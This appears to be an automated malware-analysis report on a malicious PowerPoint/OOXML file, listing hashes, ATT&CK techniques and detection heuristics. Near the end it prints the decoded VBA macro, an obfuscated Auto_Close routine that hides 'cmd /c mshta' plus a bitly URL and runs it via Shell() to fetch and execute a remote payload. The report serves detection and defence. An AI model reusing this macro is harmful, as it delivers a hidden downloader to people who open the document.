Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 33d2e36aa05b93b8…

MALICIOUS

Office (OOXML)

6.8 KB First seen: 2021-09-17
MD5: 852c7e86905689ebe2fb2fb4b4b3ce00 SHA-1: 3959730970d1d170f91dc860c9a4d0cf100440da SHA-256: 33d2e36aa05b93b8d6e3e903a21211dd7b5138569f7107f1cc2e0ae6409c3f12
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an Auto_Close subroutine that is triggered when the document is closed. This macro reconstructs and executes a command using Shell() to download a payload from the URL https://bitly.com/yeuiwqhds. The use of obfuscated string concatenation for the command and URL indicates a deliberate attempt to evade detection.

Heuristics 5

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 305 bytes
SHA-256: 1a1ce599a9c8b6e593872c2684db97552bb4e3621f09e1384e935103ce19b9e5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Close()
        begoxjup
End Sub

Attribute VB_Name = "adaolv"
Function begoxjup()
Dim znoywzff As Variant
znoywzff = "cmd" + " /c  " + "m" + "s" & "h" & "t" + "a https://" & "bitly.com" & "/yeuiwqhds" & "sadbkasasddb"
Shell znoywzff, vbHide
End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 13824 bytes
SHA-256: 9a51b3f73e7583dde8c9a62bf832b6b6439eabf7c6b94b3cfe4e3bf4849c2d97

Open this report in the interactive analyzer, or submit your own file for analysis.